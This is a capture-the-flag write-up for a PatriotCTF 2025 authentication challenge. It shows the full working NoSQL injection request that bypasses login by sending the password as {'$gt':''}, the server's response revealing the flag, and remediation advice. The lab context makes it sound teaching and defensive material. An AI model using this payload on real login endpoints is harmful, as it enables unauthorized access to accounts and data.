🔐 SecureAuth™ Writeup - PatriotCTF 2025

Challenge Overview

The target endpoint was an enterprise‑style authentication API:

POST /api/authenticate
Content-Type: application/json

Expected JSON format:

{
  "username": "string",
  "password": "string",
  "remember": boolean
}

The goal was to authenticate as an administrator and retrieve the flag.

---

Initial Testing

Wrong or missing Content-Type headers resulted in:

415 Unsupported Media Type
Invalid request format

Once a correct JSON request was sent such as:

{"username":"admin","password":"admin","remember":false}

The response changed to:

{"message":"Authentication failed","success":false}

This indicated that the request was being parsed properly and the authentication logic was reached.

---

Vulnerability Discovery

Typical password guessing failed, so input validation weaknesses were tested. The key idea was to check for a type coercion vulnerability occurring during password validation. Instead of using a normal string for the password, a MongoDB‑style operator was inserted:

"password": { "$gt": "" }

$gt means “greater than,” which can cause the backend to interpret this condition as always true if the database query isn’t sanitized properly.

---

Exploit Payload

Full working request:

POST /api/authenticate HTTP/1.1
Host: 18.212.136.134:5200
Content-Type: application/json
Accept: application/json

{"username":"admin","password":{"$gt":""},"remember":true}

Server Response

This bypassed authentication entirely:

{
  "flag": "FLAG{py7h0n_typ3_c03rc10n_byp4ss}",
  "message": "Authentication successful",
  "role": "admin",
  "success": true,
  "user": "admin"
}

---

Root Cause

The backend likely used a database query such as:

db.users.find_one({"username": user, "password": pwd})

but without defensive input sanitation. When password is not treated strictly as a string, the query engine interprets the JSON object as a comparison operator, causing authentication to succeed.

This is a classic NoSQL Injection / Python type‑coercion authentication bypass.

---

Remediation

To prevent this vulnerability:

• Perform strict type validation on all user‑supplied fields
• Sanitize NoSQL operators in input
• Hash passwords server‑side and compare values only after decoding
• Replace direct query object merging with parameterized authentication logic

---

Flag

FLAG{py7h0n_typ3_c03rc10n_byp4ss}